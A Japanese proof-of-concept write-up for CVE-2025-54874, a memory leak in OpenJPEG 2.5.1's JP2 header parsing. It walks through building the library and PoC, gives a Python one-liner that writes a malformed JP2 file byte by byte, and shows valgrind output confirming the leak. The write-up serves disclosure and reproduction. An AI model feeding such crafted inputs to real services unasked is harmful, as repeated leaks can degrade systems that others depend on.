参照

https://github.com/uclouvain/openjpeg/pull/1573

https://www.cvedetails.com/cve/CVE-2025-54874/

https://securitylab.github.com/advisories/GHSL-2025-057_OpenCV/

テスト環境

openjpeg-2.5.1

Linux 6.10.14-linuxkit x86_64 GNU/Linux

説明

関数呼び出しチェーンは次のとおりです: opj_read_header → opj_jp2_read_header → opj_j2k_read_header → opj_j2k_setup_header_reading → opj_j2k_read_header_procedure → opj_stream_read_data

データが小さすぎる場合、opj_stream_read_data はエラーを返し、opj_j2k_read_header が opj_jp2_read_header にエラーを返す原因となります。

しかし、opj_jp2_read_header では、ヒープメモリ上に値を設定する前に opj_j2k_read_header がエラーを返すかどうかをチェックしておらず、メモリリークを引き起こします。

POC プロセス

1. opj_image_t、opj_codec_t、opj_stream_t を初期化します（これらは opj_read_header に必要です）
   1. 初期化の参照: openjpeg2.5.1/tests/test_decode_area.c:create_codec_and_stream
2. opj_read_header() を呼び出します
3. クリーンアップ

この POC の実行方法

git clone [email protected]:cyhe50/cve-2025-54874-poc.git

cd cve-2025-54874-poc

バイナリの実行

./poc in/test.jp2: Expect Error: opj_read_header failed が出力されます

valgrind の実行

valgrind --track-origins=yes --leak-check=full ./poc in/test.jp2

出力

==1280== Memcheck, a memory error detector
==1280== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==1280== Using Valgrind-3.18.1 and LibVEX; rerun with -h for copyright info
==1280== Command: ./poc in/test.jp2
==1280==
Expect Error: opj_read_header failed
==1280==
==1280== HEAP SUMMARY:
==1280==     in use at exit: 8 bytes in 1 blocks
==1280==   total heap usage: 28 allocs, 27 frees, 1,066,008 bytes allocated
==1280==
==1280== 8 bytes in 1 blocks are definitely lost in loss record 1 of 1
==1280==    at 0x484DA83: calloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==1280==    by 0x10EAD6: opj_calloc (opj_malloc.c:204)
==1280==    by 0x12D8EE: opj_jp2_read_colr (jp2.c:1573)
==1280==    by 0x13030F: opj_jp2_read_jp2h (jp2.c:2727)
==1280==    by 0x12F6AA: opj_jp2_read_header_procedure (jp2.c:2364)
==1280==    by 0x12F967: opj_jp2_exec (jp2.c:2440)
==1280==    by 0x1307CD: opj_jp2_read_header (jp2.c:2855)
==1280==    by 0x10D9DA: opj_read_header (openjpeg.c:475)
==1280==    by 0x10B90D: main (poc.c:62)
==1280==
==1280== LEAK SUMMARY:
==1280==    definitely lost: 8 bytes in 1 blocks
==1280==    indirectly lost: 0 bytes in 0 blocks
==1280==      possibly lost: 0 bytes in 0 blocks
==1280==    still reachable: 0 bytes in 0 blocks
==1280==         suppressed: 0 bytes in 0 blocks
==1280==
==1280== For lists of detected and suppressed errors, rerun with: -s
==1280== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)

初期プロセス

openjpeg-2.5.1

1. ソースコードをダウンロードします

2. コンパイルします

   root@kitploit:~

   cd openjpeg-2.5.1
   mkdir build && cd build
   cmake -DCMAKE_BUILD_TYPE=Debug ..
   make
   cd ../..
   

3. POC をビルドします

4. POC をコンパイルします

   root@kitploit:~

   gcc -g -I./openjpeg-2.5.1/src/lib/openjp2 -o poc poc.c ./openjpeg-2.5.1/build/bin/libopenjp2.a -lm
   
   

5. 脆弱性のある jp2 を生成します

   root@kitploit:~

   python3 -c "import sys; sys.stdout.buffer.write(bytes([
       0x00,0x00,0x00,0x0c,0x6a,0x50,0x20,0x20,0x0d,0x0a,0x87,0x0a,
       0x00,0x00,0x00,0x14,0x66,0x74,0x79,0x70,0x6a,0x70,0x30,0x20,
       0xf9,0xff,0xff,0xff,0x6a,0x70,0x33,0x20,0x00,0x00,0x00,0x31,
       0x6a,0x70,0x32,0x68,0x00,0x00,0x00,0x16,0x69,0x68,0x64,0x72,
       0x00,0x80,0x00,0x00,0x00,0x00,0x05,0x00,0x00,0x03,0x07,0x07,
       0x00,0x00,0x00,0x00,0x00,0x13,0x63,0x6f,0x6c,0x72,0x02,0xff,
       0xff,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,
       0x00,0x00,0x00,0x20,0x6a,0x70,0x32,0x63,0xff,0x4f
   ]))" > in/test.jp2
   
   

6. valgrind を実行します

   root@kitploit:~

    valgrind --track-origins=yes   --leak-check=full     ./poc in/test.jp2